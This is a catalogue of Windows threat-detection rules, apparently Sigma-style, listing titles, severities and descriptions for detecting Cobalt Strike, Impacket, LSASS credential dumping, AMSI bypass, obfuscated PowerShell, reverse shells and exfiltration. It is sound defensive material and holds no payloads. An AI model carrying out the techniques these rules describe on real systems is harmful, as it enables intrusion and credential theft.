Suspicious Usage of CVE_2021_34484 or CVE 2022_21919	low	During exploitation of this vulnerability, two logs (Provider_Name:Microsoft-Windows-User Profiles Service) with EventID 1511 and 1515 (maybe lot of false positives with this event) are created. Moreover, it appears the directory \Users\TEMP is created may be created during the exploitation. Viewed on 2008 Server
CobaltStrike Service Installations - System	critical	Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement
smbexec.py Service Installation	high	Detects the use of smbexec.py tool by detecting a specific service installation
Invoke-Obfuscation CLIP+ Launcher - System	high	Detects Obfuscated use of Clip.exe to execute PowerShell
Invoke-Obfuscation STDIN+ Launcher - System	high	Detects Obfuscated use of stdin to execute PowerShell
Invoke-Obfuscation VAR+ Launcher - System	high	Detects Obfuscated use of Environment Variables to execute PowerShell
Invoke-Obfuscation COMPRESS OBFUSCATION - System	medium	Detects Obfuscated Powershell via COMPRESS OBFUSCATION
Invoke-Obfuscation Via Stdin - System	high	Detects Obfuscated Powershell via Stdin in Scripts
Invoke-Obfuscation RUNDLL LAUNCHER - System	medium	Detects Obfuscated Powershell via RUNDLL LAUNCHER
Invoke-Obfuscation Via Use Clip - System	high	Detects Obfuscated Powershell via use Clip.exe in Scripts
Invoke-Obfuscation Via Use MSHTA - System	high	Detects Obfuscated Powershell via use MSHTA in Scripts
Invoke-Obfuscation Via Use Rundll32 - System	high	Detects Obfuscated Powershell via use Rundll32 in Scripts
Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - System	high	Detects Obfuscated Powershell via VAR++ LAUNCHER
Credential Dumping Tools Service Execution - System	high	Detects well-known credential dumping tools execution via service execution events
PowerShell Scripts Installed as Services	high	Detects powershell script installed as a Service
CSExec Service Installation	medium	Detects CSExec service installation and execution events
HackTool Service Registration or Execution	high	Detects installation or execution of services
PAExec Service Installation	medium	Detects PAExec service installation
ProcessHacker Privilege Elevation	high	Detects a ProcessHacker tool that elevated privileges to a very high level
RemCom Service Installation	medium	Detects RemCom service installation and execution events
Sliver C2 Default Service Installation	high	Detects known malicious service installation that appear in cases in which a Sliver implants execute the PsExec commands
PsExec Service Installation	medium	Detects PsExec service installation and execution events
PSExec and WMI Process Creations Block	high	Detects blocking of process creations originating from PSExec and WMI commands
Windows Defender AMSI Trigger Detected	high	Detects triggering of AMSI by Windows Defender.
Windows Defender Threat Detected	high	Detects actions taken by Windows Defender malware detection engines
HackTool - CACTUSTORCH Remote Thread Creation	high	Detects remote thread creation from CACTUSTORCH as described in references.
Remote Thread Creation Via PowerShell In Uncommon Target	medium	Detects the creation of a remote thread from a Powershell process in an uncommon target process
DNS Query Request By Regsvr32.EXE	medium	Detects DNS queries initiated by "Regsvr32.exe"
Assembly DLL Creation Via AspNetCompiler	medium	Detects the creation of new DLL assembly files by "aspnet_compiler.exe", which could be a sign of "aspnet_compiler" abuse to proxy execution through a build provider.
BloodHound Collection Files	high	Detects default file names outputted by the BloodHound collection tool SharpHound
WScript or CScript Dropper - File	high	Detects a file ending in jse, vbe, js, vba, vbs written by cscript.exe or wscript.exe
CSExec Service File Creation	medium	Detects default CSExec service filename which indicates CSExec service installation and execution
Adwind RAT / JRAT File Artifact	high	Detects javaw.exe in AppData folder as used by Adwind / JRAT
Suspicious File Creation In Uncommon AppData Folder	high	Detects the creation of suspicious files and folders inside the user's AppData folder but not inside any of the common and well known directories (Local, Romaing, LocalLow). This method could be used as a method to bypass detection who exclude the AppData folder in fear of FPs
PCRE.NET Package Temp Files	high	Detects processes creating temp files related to PCRE.NET package
File With Uncommon Extension Created By An Office Application	high	Detects the creation of files with an executable or script extension by an Office application.
Suspicious File Created In PerfLogs	medium	Detects suspicious file based on their extension being created in "C:\PerfLogs\". Note that this directory mostly contains ".etl" files
Malicious PowerShell Scripts - FileCreation	high	Detects the creation of known offensive powershell scripts used for exploitation
RemCom Service File Creation	medium	Detects default RemCom service filename which indicates RemCom service installation and execution
Remote Access Tool - ScreenConnect Temporary File	low	Detects the creation of files in a specific location by ScreenConnect RMM. ScreenConnect has feature to remotely execute binaries on a target machine. These binaries will be dropped to ":\Users\\Documents\ConnectWiseControl\Temp\" before execution.
Windows Shell/Scripting Application File Write to Suspicious Folder	high	Detects Windows shells and scripting applications that write files to suspicious folders
Created Files by Microsoft Sync Center	medium	This rule detects suspicious files created by Microsoft Sync Center (mobsync)
Potential File Extension Spoofing Using Right-to-Left Override	high	Detects suspicious filenames that contain a right-to-left override character and a potentially spoofed file extensions.
Suspicious Scheduled Task Write to System32 Tasks	high	Detects the creation of tasks from processes executed from suspicious locations
Suspicious Interactive PowerShell as SYSTEM	high	Detects the creation of files that indicator an interactive use of PowerShell in the SYSTEM user context
WinSxS Executable File Creation By Non-System Process	medium	Detects the creation of binaries in the WinSxS folder by non-system processes
PsExec Service File Creation	low	Detects default PsExec service filename which indicates PsExec service installation and execution
PSEXEC Remote Execution File Artefact	high	Detects creation of the PSEXEC key file. Which is created anytime a PsExec command is executed. It gets written to the file system and will be recorded in the USN Journal on the target system
UAC Bypass Using IDiagnostic Profile - File	high	Detects the creation of a file by "dllhost.exe" in System32 directory part of "IDiagnosticProfileUAC" UAC bypass technique
Wmiprvse Wbemcomn DLL Hijack - File	critical	Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\Windows\System32\wbem\` directory over the network and loading it for a WMI DLL Hijack scenario.
PCRE.NET Package Image Load	high	Detects processes loading modules related to PCRE.NET package
PowerShell Core DLL Loaded By Non PowerShell Process	medium	Detects loading of essential DLLs used by PowerShell by non-PowerShell process. Detects behavior similar to meterpreter's "load powershell" extension.
CLR DLL Loaded Via Office Applications	medium	Detects CLR DLL being loaded by an Office Product
DotNET Assembly DLL Loaded Via Office Application	medium	Detects any assembly DLL being loaded by an Office Product
Active Directory Parsing DLL Loaded Via Office Application	medium	Detects DSParse DLL being loaded by an Office Product
GAC DLL Loaded Via Office Applications	high	Detects any GAC DLL being loaded by an Office Product
Microsoft Excel Add-In Loaded From Uncommon Location	medium	Detects Microsoft Excel loading an Add-In (.xll) file from an uncommon location
Active Directory Kerberos DLL Loaded Via Office Application	medium	Detects Kerberos DLL being loaded by an Office Product
Microsoft VBA For Outlook Addin Loaded Via Outlook	medium	Detects outlvba (Microsoft VBA for Outlook Addin) DLL being loaded by the outlook process
VBA DLL Loaded Via Office Application	high	Detects VB DLL's loaded by an office application. Which could indicate the presence of VBA Macros.
Remote DLL Load Via Rundll32.EXE	medium	Detects a remote DLL load event via "rundll32.exe".
Abusable DLL Potential Sideloading From Suspicious Location	high	Detects potential DLL sideloading of DLLs that are known to be abused from suspicious locations
DotNet CLR DLL Loaded By Scripting Applications	high	Detects .NET CLR DLLs being loaded by scripting applications such as wscript or cscript. This could be an indication of potential suspicious execution.
Wmiprvse Wbemcomn DLL Hijack	high	Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\Windows\System32\wbem\` directory over the network and loading it for a WMI DLL Hijack scenario.
Suspicious WSMAN Provider Image Loads	medium	Detects signs of potential use of the WSMAN provider from uncommon processes locally and remote execution.
Outbound Network Connection Initiated By Microsoft Dialer	high	Detects outbound network connection initiated by Microsoft Dialer. The Microsoft Dialer, also known as Phone Dialer, is a built-in utility application included in various versions of the Microsoft Windows operating system. Its primary function is to provide users with a graphical interface for managing phone calls via a modem or a phone line connected to the computer. This is an outdated process in the current conext of it's usage and is a common target for info stealers for process injection, and is used to make C2 connections, common example is "Rhadamanthys"
Network Connection Initiated By Eqnedt32.EXE	high	Detects network connections from the Equation Editor process "eqnedt32.exe".
Network Connection Initiated Via Notepad.EXE	high	Detects a network connection that is initiated by the "notepad.exe" process. This might be a sign of process injection from a beacon process or something similar. Notepad rarely initiates a network communication except when printing documents for example.
Office Application Initiated Network Connection To Non-Local IP	medium	Detects an office application (Word, Excel, PowerPoint) that initiate a network connection to a non-private IP addresses. This rule aims to detect traffic similar to one seen exploited in CVE-2021-42292. This rule will require an initial baseline and tuning that is specific to your organization.
Silenttrinity Stager Msbuild Activity	high	Detects a possible remote connections to Silenttrinity c2
Network Connection Initiated By Regsvr32.EXE	medium	Detects a network connection initiated by "Regsvr32.exe"
Microsoft Sync Center Suspicious Network Connections	medium	Detects suspicious connections from Microsoft Sync Center to non-private IPs.
Rundll32 Internet Connection	medium	Detects a rundll32 that communicates with public IP addresses
Potential Remote PowerShell Session Initiated	high	Detects a process that initiated a network connection over ports 5985 or 5986 from a non-network service account. This could potentially indicates a remote PowerShell connection.
Outbound Network Connection To Public IP Via Winlogon	medium	Detects a "winlogon.exe" process that initiate network communications with public IP addresses
Alternate PowerShell Hosts Pipe	medium	Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe
New PowerShell Instance Created	informational	Detects the execution of PowerShell via the creation of a named pipe starting with PSHost
PUA - CSExec Default Named Pipe	medium	Detects default CSExec pipe creation
PUA - PAExec Default Named Pipe	medium	Detects PAExec default named pipe
PUA - RemCom Default Named Pipe	medium	Detects default RemCom pipe creation
WMI Event Consumer Created Named Pipe	medium	Detects the WMI Event Consumer service scrcons.exe creating a named pipe
Nslookup PowerShell Download Cradle	medium	Detects a powershell download cradle using nslookup. This cradle uses nslookup to extract payloads from DNS records.
PsExec Tool Execution From Suspicious Locations - PipeName	medium	Detects PsExec default pipe creation where the image executed is located in a suspicious location. Which could indicate that the tool is being used in an attack
PowerShell Downgrade Attack - PowerShell	medium	Detects PowerShell downgrade attack by comparing the host versions with the actually used engine version 2.0
PowerShell Called from an Executable Version Mismatch	high	Detects PowerShell called from an executable by the version mismatch method
Remote PowerShell Session (PS Classic)	low	Detects remote PowerShell sessions
Renamed Powershell Under Powershell Channel	low	Detects a renamed Powershell execution, which is a common technique used to circumvent security controls and bypass detection logic that's dependent on process names and process paths.
Suspicious PowerShell Download	medium	Detects suspicious PowerShell download command
Suspicious Non PowerShell WSMAN COM Provider	medium	Detects suspicious use of the WSMAN provider without PowerShell.exe as the host application.
Alternate PowerShell Hosts - PowerShell Module	medium	Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe
Bad Opsec Powershell Code Artifacts	critical	focuses on trivial artifacts observed in variants of prevalent offensive ps1 payloads, including Cobalt Strike Beacon, PoshC2, Powerview, Letmein, Empire, Powersploit, and other attack payloads that often undergo minimal changes by attackers due to bad opsec.
Malicious PowerShell Scripts - PoshModule	high	Detects the execution of known offensive powershell scripts used for exploitation or reconnaissance
Invoke-Obfuscation CLIP+ Launcher - PowerShell Module	high	Detects Obfuscated use of Clip.exe to execute PowerShell
Invoke-Obfuscation Obfuscated IEX Invocation - PowerShell Module	high	Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block cited in the reference section below
Invoke-Obfuscation STDIN+ Launcher - PowerShell Module	high	Detects Obfuscated use of stdin to execute PowerShell
Invoke-Obfuscation VAR+ Launcher - PowerShell Module	high	Detects Obfuscated use of Environment Variables to execute PowerShell
Invoke-Obfuscation COMPRESS OBFUSCATION - PowerShell Module	medium	Detects Obfuscated Powershell via COMPRESS OBFUSCATION
Invoke-Obfuscation RUNDLL LAUNCHER - PowerShell Module	medium	Detects Obfuscated Powershell via RUNDLL LAUNCHER
Invoke-Obfuscation Via Stdin - PowerShell Module	high	Detects Obfuscated Powershell via Stdin in Scripts
Invoke-Obfuscation Via Use MSHTA - PowerShell Module	high	Detects Obfuscated Powershell via use MSHTA in Scripts
Invoke-Obfuscation Via Use Clip - PowerShell Module	high	Detects Obfuscated Powershell via use Clip.exe in Scripts
Invoke-Obfuscation Via Use Rundll32 - PowerShell Module	high	Detects Obfuscated Powershell via use Rundll32 in Scripts
Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - PowerShell Module	high	Detects Obfuscated Powershell via VAR++ LAUNCHER
Malicious PowerShell Commandlets - PoshModule	high	Detects Commandlet names from well-known PowerShell exploitation frameworks
Remote PowerShell Session (PS Module)	high	Detects remote PowerShell sessions
Suspicious PowerShell Download - PoshModule	medium	Detects suspicious PowerShell download command
Suspicious PowerShell Invocations - Generic - PowerShell Module	high	Detects suspicious PowerShell invocation command parameters
Suspicious PowerShell Invocations - Specific - PowerShell Module	high	Detects suspicious PowerShell invocation command parameters
AADInternals PowerShell Cmdlets Execution - PsScript	high	Detects ADDInternals Cmdlet execution. A tool for administering Azure AD and Office 365. Which can be abused by threat actors to attack Azure AD or Office 365.
Add Windows Capability Via PowerShell Script	medium	Detects usage of the "Add-WindowsCapability" cmdlet to add Windows capabilities. Notable capabilities could be "OpenSSH" and others.
PowerShell ADRecon Execution	high	Detects execution of ADRecon.ps1 for AD reconnaissance which has been reported to be actively used by FIN7
AMSI Bypass Pattern Assembly GetType	high	Detects code fragments found in small and obfuscated AMSI bypass PowerShell scripts
Silence.EDA Detection	critical	Detects Silence EmpireDNSAgent as described in the Group-IP report
PowerShell Create Local User	medium	Detects creation of a local user via PowerShell
DSInternals Suspicious PowerShell Cmdlets - ScriptBlock	high	Detects execution and usage of the DSInternals PowerShell module. Which can be used to perform what might be considered as suspicious activity such as dumping DPAPI backup keys or manipulating NTDS.DIT files. The DSInternals PowerShell Module exposes several internal features of Active Directory and Azure Active Directory. These include FIDO2 and NGC key auditing, offline ntds.dit file manipulation, password auditing, DC recovery from IFM backups and password hash calculation.
HackTool - WinPwn Execution - ScriptBlock	high	Detects scriptblock text keywords indicative of potential usge of the tool WinPwn. A tool for Windows and Active Directory reconnaissance and exploitation.
Import PowerShell Modules From Suspicious Directories	medium	Detects powershell scripts that import modules from suspicious directories
Invoke-Obfuscation CLIP+ Launcher - PowerShell	high	Detects Obfuscated use of Clip.exe to execute PowerShell
Invoke-Obfuscation Obfuscated IEX Invocation - PowerShell	high	Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block \u2014
Invoke-Obfuscation STDIN+ Launcher - Powershell	high	Detects Obfuscated use of stdin to execute PowerShell
Invoke-Obfuscation VAR+ Launcher - PowerShell	high	Detects Obfuscated use of Environment Variables to execute PowerShell
Invoke-Obfuscation COMPRESS OBFUSCATION - PowerShell	medium	Detects Obfuscated Powershell via COMPRESS OBFUSCATION
Invoke-Obfuscation RUNDLL LAUNCHER - PowerShell	medium	Detects Obfuscated Powershell via RUNDLL LAUNCHER
Invoke-Obfuscation Via Stdin - Powershell	high	Detects Obfuscated Powershell via Stdin in Scripts
Invoke-Obfuscation Via Use Clip - Powershell	high	Detects Obfuscated Powershell via use Clip.exe in Scripts
Invoke-Obfuscation Via Use MSHTA - PowerShell	high	Detects Obfuscated Powershell via use MSHTA in Scripts
Invoke-Obfuscation Via Use Rundll32 - PowerShell	high	Detects Obfuscated Powershell via use Rundll32 in Scripts
Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - PowerShell	high	Detects Obfuscated Powershell via VAR++ LAUNCHER
Malicious PowerShell Commandlets - ScriptBlock	high	Detects Commandlet names from well-known PowerShell exploitation frameworks
Malicious PowerShell Keywords	medium	Detects keywords from well-known PowerShell exploitation frameworks
Powershell MsXml COM Object	medium	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code
Malicious Nishang PowerShell Commandlets	high	Detects Commandlet names and arguments from the Nishang exploitation framework
NTFS Alternate Data Stream	high	Detects writing data into NTFS alternate data streams from powershell. Needs Script Block Logging.
PowerView PowerShell Cmdlets - ScriptBlock	high	Detects Cmdlet names from PowerView of the PowerSploit exploitation framework.
PowerShell Credential Prompt	high	Detects PowerShell calling a credential prompt
PSAsyncShell - Asynchronous TCP Reverse Shell	high	Detects the use of PSAsyncShell an Asynchronous TCP Reverse Shell written in powershell
PowerShell PSAttack	high	Detects the use of PSAttack PowerShell hack tool
PowerShell Remote Session Creation	medium	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system
Change PowerShell Policies to an Insecure Level - PowerShell	medium	Detects changing the PowerShell script execution policy to a potentially insecure level using the "Set-ExecutionPolicy" cmdlet.
PowerShell ShellCode	high	Detects Base64 encoded Shellcode
Malicious ShellIntel PowerShell Commandlets	high	Detects Commandlet names from ShellIntel exploitation scripts.
Potential PowerShell Obfuscation Using Character Join	low	Detects specific techniques often seen used inside of PowerShell scripts to obfscuate Alias creation
Suspicious PowerShell Download - Powershell Script	medium	Detects suspicious PowerShell download command
Powershell Execute Batch Script	medium	Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple system
Suspicious PowerShell Invocations - Generic	high	Detects suspicious PowerShell invocation command parameters
Suspicious PowerShell Invocations - Specific	high	Detects suspicious PowerShell invocation command parameters
Potential Suspicious PowerShell Keywords	medium	Detects potentially suspicious keywords that could indicate the use of a PowerShell exploitation framework
Potential PowerShell Obfuscation Using Alias Cmdlets	low	Detects Set-Alias or New-Alias cmdlet usage. Which can be use as a mean to obfuscate PowerShell scripts
Usage Of Web Request Commands And Cmdlets - ScriptBlock	medium	Detects the use of various web request commands with commandline tools and Windows PowerShell cmdlets (including aliases) via PowerShell scriptblock logs
Potential WinAPI Calls Via PowerShell Scripts	high	Detects use of WinAPI functions in PowerShell scripts
Windows Defender Exclusions Added - PowerShell	medium	Detects modifications to the Windows Defender configuration settings using PowerShell to add exclusions
WMImplant Hack Tool	high	Detects parameters used by WMImplant
WMIC Unquoted Services Path Lookup - PowerShell	medium	Detects known WMI recon method to look for unquoted service paths, often used by pentest inside of powershell scripts attackers enum scripts
Powershell XML Execute Command	medium	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code
CMSTP Execution Process Access	high	Detects various indicators of Microsoft Connection Manager Profile Installer execution
HackTool - CobaltStrike BOF Injection Pattern	high	Detects a typical pattern of a CobaltStrike BOF which inject into other processes
HackTool - LittleCorporal Generated Maldoc Injection	high	Detects the process injection of a LittleCorporal generated Maldoc.
HackTool - HandleKatz Duplicating LSASS Handle	high	Detects HandleKatz opening LSASS to duplicate its handle to later dump the memory without opening any new handles
Remote LSASS Process Access Through Windows Remote Management	high	Detects remote access to the LSASS process via WinRM. This could be a sign of credential dumping from tools like mimikatz.
Potential Direct Syscall of NtOpenProcess	medium	Detects potential calls to NtOpenProcess directly from NTDLL.
Potential DLL Injection Via AccCheckConsole	medium	Detects the execution "AccCheckConsole" a command-line tool for verifying the accessibility implementation of an application's UI. One of the tests that this checker can run are called "verification routine", which tests for things like Consistency, Navigation, etc. The tool allows a user to provide a DLL that can contain a custom "verification routine". An attacker can build such DLLs and pass it via the CLI, which would then be loaded in the context of the "AccCheckConsole" utility.
Potential Adplus.EXE Abuse	high	Detects execution of "AdPlus.exe", a binary that is part of the Windows SDK that can be used as a LOLBIN in order to dump process memory and execute arbitrary commands.
Uncommon Child Process Of Appvlp.EXE	medium	Detects uncommon child processes of Appvlp.EXE Appvlp or the Application Virtualization Utility is included with Microsoft Office. Attackers are able to abuse "AppVLP" to execute shell commands. Normally, this binary is used for Application Virtualization, but it can also be abused to circumvent the ASR file path rule folder or to mark a file as a system file.
Data Export From MSSQL Table Via BCP.EXE	medium	Detects the execution of the BCP utility in order to export data from the database. Attackers were seen saving their malware to a database column or table and then later extracting it via "bcp.exe" into a file.
Suspicious Child Process Of BgInfo.EXE	high	Detects suspicious child processes of "BgInfo.exe" which could be a sign of potential abuse of the binary to proxy execution via external VBScript
Uncommon Child Process Of BgInfo.EXE	medium	Detects uncommon child processes of "BgInfo.exe" which could be a sign of potential abuse of the binary to proxy execution via external VBScript
Chromium Browser Headless Execution To Mockbin Like Site	high	Detects the execution of a Chromium based browser process with the "headless" flag and a URL pointing to the mockbin.org service (which can be used to exfiltrate data).
Potential Binary Proxy Execution Via Cdb.EXE	medium	Detects usage of "cdb.exe" to launch arbitrary processes or commands from a debugger script file
File Download From IP Based URL Via CertOC.EXE	high	Detects when a user downloads a file from an IP based URL using CertOC.exe
Potential Arbitrary File Download Via Cmdl32.EXE	medium	Detects execution of Cmdl32 with the "/vpn" and "/lan" flags. Attackers can abuse this utility in order to download arbitrary files via a configuration file. Inspect the location and the content of the file passed as an argument in order to determine if it is suspicious.
Potential Dosfuscation Activity	medium	Detects possible payload obfuscation via the commandline
Command Line Execution with Suspicious URL and AppData Strings	medium	Detects a suspicious command line execution that includes an URL and AppData string in the command line parameters as used by several droppers (js/vbs > powershell)
Suspicious File Execution From Internet Hosted WebDav Share	high	Detects the execution of the "net use" command to mount a WebDAV server and then immediately execute some content in it. As seen being used in malicious LNK files
Cmd.EXE Missing Space Characters Execution Anomaly	high	Detects Windows command lines that miss a space before or after the /c flag when running a command using the cmd.exe. This could be a sign of obfuscation of a fat finger problem (typo by the developer).
Potential CommandLine Path Traversal Via Cmd.EXE	high	Detects potential path traversal attempt via cmd.exe. Could indicate possible command/argument confusion/hijacking
Read Contents From Stdin Via Cmd.EXE	medium	Detect the use of "<" to read and potentially execute a file via cmd.exe
Unusual Parent Process For Cmd.EXE	medium	Detects suspicious parent process for cmd.exe
CMSTP Execution Process Creation	high	Detects various indicators of Microsoft Connection Manager Profile Installer execution
Conhost.exe CommandLine Path Traversal	high	detects the usage of path traversal in conhost.exe indicating possible command/argument confusion/hijacking
Conhost Spawned By Uncommon Parent Process	medium	Detects when the Console Window Host (conhost.exe) process is spawned by an uncommon parent process, which could be indicative of potential code injection activity.
Control Panel Items	high	Detects the malicious use of a control panel item
Csc.EXE Execution Form Potentially Suspicious Parent	high	Detects a potentially suspicious parent of "csc.exe", which could be a sign of payload delivery.
Suspicious Csi.exe Usage	medium	Csi.exe is a signed binary from Microsoft that comes with Visual Studio and provides C# interactive capabilities. It can be used to run C# code from a file passed as a parameter in command line. Early version of this utility provided with Microsoft “Roslyn” Community Technology Preview was named 'rcsi.exe'
Suspicious Use of CSharp Interactive Console	high	Detects the execution of CSharp interactive console by PowerShell
Potential Cookies Session Hijacking	medium	Detects execution of "curl.exe" with the "-c" flag in order to save cookie data.
Curl Web Request With Potential Custom User-Agent	medium	Detects execution of "curl.exe" with a potential custom "User-Agent". Attackers can leverage this to download or exfiltrate data via "curl" to a domain that only accept specific "User-Agent" strings
File Download From IP URL Via Curl.EXE	medium	Detects file downloads directly from IP address URL using curl.exe
Suspicious File Download From IP Via Curl.EXE	high	Detects potentially suspicious file downloads directly from IP addresses using curl.exe
Suspicious File Download From File Sharing Domain Via Curl.EXE	high	Detects potentially suspicious file download from file sharing domains using curl.exe
Insecure Transfer Via Curl.EXE	medium	Detects execution of "curl.exe" with the "--insecure" flag.
Insecure Proxy/DOH Transfer Via Curl.EXE	medium	Detects execution of "curl.exe" with the "insecure" flag over proxy or DOH.
Local File Read Using Curl.EXE	medium	Detects execution of "curl.exe" with the "file://" protocol handler in order to read local files.
Uncommon Child Process Of Defaultpack.EXE	medium	Detects uncommon child processes of "DefaultPack.EXE" binary as a proxy to launch other programs
Potentially Suspicious Child Process Of ClickOnce Application	medium	Detects potentially suspicious child processes of a ClickOnce deployment application
Arbitrary MSI Download Via Devinit.EXE	medium	Detects a certain command line flag combination used by "devinit.exe", which can be abused as a LOLBIN to download arbitrary MSI packages on a Windows system
Potential Discovery Activity Via Dnscmd.EXE	medium	Detects an attempt to leverage dnscmd.exe to enumerate the DNS zones of a domain. DNS zones used to host the DNS records for a particular domain.
Binary Proxy Execution Via Dotnet-Trace.EXE	medium	Detects commandline arguments for executing a child process via dotnet-trace.exe
Forfiles Command Execution	medium	Detects the execution of "forfiles" with the "/c" flag. While this is an expected behavior of the tool, it can be abused in order to proxy execution through it with any binary. Can be used to bypass application whitelisting.
Use of FSharp Interpreters	medium	Detects the execution of FSharp Interpreters "FsiAnyCpu.exe" and "FSi.exe" Both can be used for AWL bypass and to execute F# code via scripts or inline.
Fsutil Behavior Set SymlinkEvaluation	medium	A symbolic link is a type of file that contains a reference to another file. This is probably done to make sure that the ransomware is able to follow shortcuts on the machine in order to find the original file to encrypt
Potential Arbitrary Command Execution Via FTP.EXE	medium	Detects execution of "ftp.exe" script with the "-s" or "/s" flag and any child processes ran by "ftp.exe".
File Decryption Using Gpg4win	medium	Detects usage of Gpg4win to decrypt files
File Encryption Using Gpg4win	medium	Detects usage of Gpg4win to encrypt files
File Encryption/Decryption Via Gpg4win From Suspicious Locations	high	Detects usage of Gpg4win to encrypt/decrypt files located in potentially suspicious locations.
Arbitrary Binary Execution Using GUP Utility	medium	Detects execution of the Notepad++ updater (gup) to launch other commands or executables
HTML Help HH.EXE Suspicious Child Process	high	Detects a suspicious child process of a Microsoft HTML Help (HH.exe)
Suspicious HH.EXE Execution	high	Detects a suspicious execution of a Microsoft HTML Help (HH.exe)
HackTool - Bloodhound/Sharphound Execution	high	Detects command line parameters used by Bloodhound and Sharphound hack tools
Operator Bloopers Cobalt Strike Commands	high	Detects use of Cobalt Strike commands accidentally entered in the CMD shell
Operator Bloopers Cobalt Strike Modules	high	Detects Cobalt Strike module/commands accidentally entered in CMD shell
Potential CobaltStrike Process Patterns	high	Detects potential process patterns related to Cobalt Strike beacon activity
HackTool - Covenant PowerShell Launcher	high	Detects suspicious command lines used in Covenant luanchers
HackTool - CrackMapExec Execution	high	This rule detect common flag combinations used by CrackMapExec in order to detect its use even if the binary has been replaced.
HackTool - CrackMapExec Execution Patterns	high	Detects various execution patterns of the CrackMapExec pentesting framework
HackTool - CrackMapExec PowerShell Obfuscation	high	The CrachMapExec pentesting framework implements a PowerShell obfuscation with some static strings detected by this rule.
HackTool - Empire PowerShell Launch Parameters	high	Detects suspicious powershell command line parameters used in Empire
HackTool - Potential Impacket Lateral Movement Activity	high	Detects wmiexec/dcomexec/atexec/smbexec from Impacket framework
HackTool - Impacket Tools Execution	high	Detects the execution of different compiled Windows binaries of the impacket toolset (based on names or part of their names - could lead to false positives)
Invoke-Obfuscation COMPRESS OBFUSCATION	medium	Detects Obfuscated Powershell via COMPRESS OBFUSCATION
Invoke-Obfuscation CLIP+ Launcher	high	Detects Obfuscated use of Clip.exe to execute PowerShell
Invoke-Obfuscation Obfuscated IEX Invocation	high	Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block
Invoke-Obfuscation STDIN+ Launcher	high	Detects Obfuscated use of stdin to execute PowerShell
Invoke-Obfuscation VAR+ Launcher	high	Detects Obfuscated use of Environment Variables to execute PowerShell
Invoke-Obfuscation Via Stdin	high	Detects Obfuscated Powershell via Stdin in Scripts
Invoke-Obfuscation Via Use Clip	high	Detects Obfuscated Powershell via use Clip.exe in Scripts
Invoke-Obfuscation Via Use MSHTA	high	Detects Obfuscated Powershell via use MSHTA in Scripts
Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION	high	Detects Obfuscated Powershell via VAR++ LAUNCHER
HackTool - Jlaive In-Memory Assembly Execution	medium	Detects the use of Jlaive to execute assemblies in a copied PowerShell
HackTool - Koadic Execution	high	Detects command line parameters used by Koadic hack tool
HackTool - PCHunter Execution	high	Detects suspicious use of PCHunter, a tool like Process Hacker to view and manipulate processes, kernel options and other low level stuff
HackTool - Default PowerSploit/Empire Scheduled Task Creation	high	Detects the creation of a schtask via PowerSploit or Empire Default Configuration.
HackTool - RedMimicry Winnti Playbook Execution	high	Detects actions caused by the RedMimicry Winnti playbook a automated breach emulations utility
Potential SMB Relay Attack Tool Execution	critical	Detects different hacktools used for relay attacks on Windows for privilege escalation
HackTool - SharpWSUS/WSUSpendu Execution	high	Detects the execution of SharpWSUS or WSUSpendu, utilities that allow for lateral movement through WSUS. Windows Server Update Services (WSUS) is a critical component of Windows systems and is frequently configured in a way that allows an attacker to circumvent internal networking limitations.
HackTool - Sliver C2 Implant Activity Pattern	critical	Detects process activity patterns as seen being used by Sliver C2 framework implants
HackTool - Stracciatella Execution	high	Detects Stracciatella which executes a Powershell runspace from within C# (aka SharpPick technique) with AMSI, ETW and Script Block Logging disabled based on PE metadata characteristics.
HackTool - WinPwn Execution	high	Detects commandline keywords indicative of potential usge of the tool WinPwn. A tool for Windows and Active Directory reconnaissance and exploitation.
Suspicious ZipExec Execution	medium	ZipExec is a Proof-of-Concept (POC) tool to wrap binary-based tools into a password-protected zip file.
Suspicious HWP Sub Processes	high	Detects suspicious Hangul Word Processor (Hanword) sub processes that could indicate an exploitation
ImagingDevices Unusual Parent/Child Processes	high	Detects unusual parent or children of the ImagingDevices.exe (Windows Contacts) process as seen being used with Bumblebee activity
Arbitrary File Download Via IMEWDBLD.EXE	high	Detects usage of "IMEWDBLD.exe" to download arbitrary files
Java Running with Remote Debugging	medium	Detects a JAVA process running with remote debugging allowing more than just localhost to connect
Computer Password Change Via Ksetup.EXE	medium	Detects password change for the computer's domain account or host principal via "ksetup.exe"
Potentially Suspicious Child Process of KeyScrambler.exe	medium	Detects potentially suspicious child processes of KeyScrambler.exe
Logged-On User Password Change Via Ksetup.EXE	medium	Detects password change for the logged-on user's via "ksetup.exe"
Rebuild Performance Counter Values Via Lodctr.EXE	medium	Detects the execution of "lodctr.exe" to rebuild the performance counter registry values. This can be abused by attackers by providing a malicious config file to overwrite performance counter configuration to confuse and evade monitoring and security solutions.
Potential Reconnaissance Activity Via GatherNetworkInfo.VBS	medium	Detects execution of the built-in script located in "C:\Windows\System32\gatherNetworkInfo.vbs". Which can be used to gather information about the target machine
